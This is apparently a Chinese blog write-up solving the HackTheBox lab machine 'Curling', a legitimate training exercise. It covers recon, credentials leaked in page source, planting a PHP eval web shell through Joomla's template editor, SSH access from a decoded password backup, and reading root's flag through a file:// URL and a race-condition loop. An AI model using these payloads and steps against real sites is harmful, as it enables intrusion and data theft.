Curling 解题思路

打开目标页面后并没什么思路,上来先 nmap 扫了一下发现开了 22、80 端口,打开页面后发现是个博客。

按照简单题的尿性页面上肯定会留下些线索的,比如:

现在假设用户名是 Floris,随后去登录表单试一波弱口令,并没有什么卵用,而且找回用户名和密码都需要邮箱,而网站页面内容翻遍了并没有存在邮箱信息。

接着查看页面源代码,发现收获:

知道了这个博客用的 Joomlasecret.txt 文件内容解码后是 Curling2018!

随后用 kali 自带的 joomscan 工具扫一下,版本是 3.8.8(这个版本暂时没什么高危漏洞),得知后台地址 Admin page : http://10.10.10.150/administrator/

试试 Floris:Curling2018!,成功进入后台。

在网上找到一个 Templates 上传shell的方法,随便在任意目录下点击 create 按钮创建 PHP 后缀文件,随后写入一句话脚本,比如我就写在 http://10.10.10.150/templates/beez3/info.php,内容为<?php eval($_GET['x']);

找到 /home/floris 文件夹下存在 user.txt,但因为是 www-data 权限无法获取该文件内容,查看目录下的 password_backup 文件。

拷贝下来后执行恢复操作,最终得到 5d<wdCbdZu)|hChXll

$ xxd -r pw > pw1
$ bzip2 -d pw1
$ mv pw1.out pw1.gz
$ gunzip pw1.gz
$ bzip2 -d pw1
$ tar zvxf pw1.out
$ cat password.txt
5d<wdCbdZu)|hChXll

这时候 ssh 连接上服务器输出 user.txt 就可以拿到第一个 flag 了。

目录中存在 /admin-area,文件夹里面含有两个文件 inputreport,分别表示 输入报告 的意思。

input 文件内容为:url = "http://127.0.0.1"report 内容为首页 html 内容。

input 文件的内容改为:url = "http://127.0.0.1/secret.txt",观察返回内容。

这里有可能存在文件读取,接着将 input 改为 url = "file:///root/root.txt",的到 flag。

不过这里有坑,因为使用的是免费账号的原因,网速慢还时不时会卡顿,shell经常假死,能拿到 shell 是属运气。


在网上找到两个 WriteUp ,一个是使用 pspy 查看计划任务:

还有一个是通过 shell 不断的去查看新的进程找到定时任务执行的命令:

$ while true; do ps -ef | grep sh | grep -v sshd |grep root;done;

随后条件竞争,不断写入文件,直至看到 report 文件中输出 flag:

$ while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。